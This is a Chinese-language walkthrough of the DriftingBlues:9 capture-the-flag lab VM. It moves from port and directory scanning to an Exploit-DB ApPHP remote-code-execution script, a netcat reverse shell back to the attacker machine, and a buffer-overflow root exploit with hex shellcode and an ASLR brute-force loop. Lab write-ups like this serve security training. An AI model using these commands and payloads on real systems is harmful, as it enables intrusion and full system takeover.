Driftingblues:9 一、基本信息
名称：DriftingBlues:9(final) 发布日期：2021.5.9 作者：tasiyanci 系列：DriftingBlues 推特：@tasiyanci
二、靶机简介
Flags： root:/root/root.txt
难度：困难
三、文件信息
文件名：driftingblues9.ova 文件大小：738MB 下载地址： MD5: DB7D1B48224F802666B07693ACD7CDB4 SHA1: CD8C690150B48AC4AB9E6A3D56A4F12F110C78C1
四、镜像信息
格式：Virtual Machine (Virtualbox - OVA) 操作系统：Linux(debain)
五、网络信息
DHCP服务：可用 IP地址：自动分配
六、环境配置
1.将靶机driftingblues9和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：
七、攻略步骤 信息探测
1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1 nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现开放了80和111端口，访问主页查看源码，发现是一个ApPHP页面：
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.120 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，发现好些目录，但也没有进一步有价值的信息：
1 gobuster dir -u http://192.168.56.120 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描
ApPHP漏洞利用
1.在主页面能够发现一个admin登录页面：
2.因为源码提示了我们ApPHP的相关信息，我们可以去Exploit-db(https://www.exploit-db.com/exploits/33070)查找到相关漏洞利用：
3.执行相关python程序，我们可以获得较基础的权限：
1 python 33070.py http://192.168.56.120
初步提权
1.利用得到的用户我们可以查看/var/www/include/base.inc.php文件下，有clapton用户及其密码，其实上面程序已经爆出来了：
2.此时我们要先想办法建立交互式shell，先在kali开启端口监听，再利用靶机端返回shell：
1 2 3 4 nc -lvnp 4444，kali开启端口监听 which nc，靶机返回shell nc 192.168.56.102 4444 -e /bin/bash python -c 'import pty;pty.spawn("/bin/bash");'，kali再使用python建立交互式shell
3.现在我们可以先确认clapton用户的存在，再进行登录了：
1 cat /etc/passwd，确认存在clapton
缓冲区溢出利用
1.在clapton用户目录下，我们能发现第一个flag，user.txt，而另一个note.txt文件查看后是关于缓冲区溢出的提示：
2.除了两个txt文本文件以外，还有一个input文件，这个文件用file命令查看后，明显是要对这个文件进行缓冲区溢出提权：
3.我们将input文件获取到本地，用checksec查看，该文件并没有启用任何保护措施：
1 2 3 python -m SimpleHTTPServer 8001，clapton开启http服务（尝试使用了python3 -m http.server 8001，发现靶机没有python3） wget http://192.168.56.120:8001/input，kali获取input checksec --file=input
4.使用命令修改input文件所有者，并赋予程序特殊权限：
1 2 3 sudo chown 0:0 input sudo chmod 4755 input ls -l
5.使用cyclic生成500个字符组成的字符串用于计算偏移量：
1 2 3 python3 from pwn import * cyclic(500)
6.然后关闭kali的ASLR，启动gdb调试input程序，将500个字符组成的字符串传入程序并运行后程序奔溃，EIP寄存器的值为“0x61617362”：
1 2 3 4 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" gdb input r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
7.再次利用cyclic计算偏移量得到171，那么payload构造为“171个A”+“jmp esp地址”+Shellcode：
8.在kali使用edb-debugger，随便传入参数调试程序，运行程序后Ctrl+O寻找jmp esp指令地址：
9.选择r-x权限下的第一个jmp esp地址，写入payload，在kali上可以成功获得root权限：
1 ./input `python -c "print 'A'*171+'\x70\xbe\xe0\xf7'+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'"`
10.但同样的payload在clapton用户上并不能起效，原因是靶机开启了ASLR而我们无权限关闭，且靶机的偏移地址是jmp esp相对libc基址的偏移地址，kali下的libc.so.6文件与靶机不同；所以这里我们采用循环绕过ASLR:
1 2 3 4 gdb ./input，在clapton上测定偏移地址 run $(python -c 'print "A" * 171 + "B" * 5 + "\x90" * 2000')，在kali上我们已经测得程序溢出位置偏移量为171，clapton上也如此 x/s $esp，得到jmp esp相对libc基址的偏移地址 q y，退出gdb调试
1 for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xe0\xd6\x9e\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done，循环绕过ASLR
Flag获取
1.通过利用缓冲区溢出漏洞，我们成功提权到root，在/root目录下能够找到flag，即root.txt：
1 2 3 cd /root ls -la cat root.txt
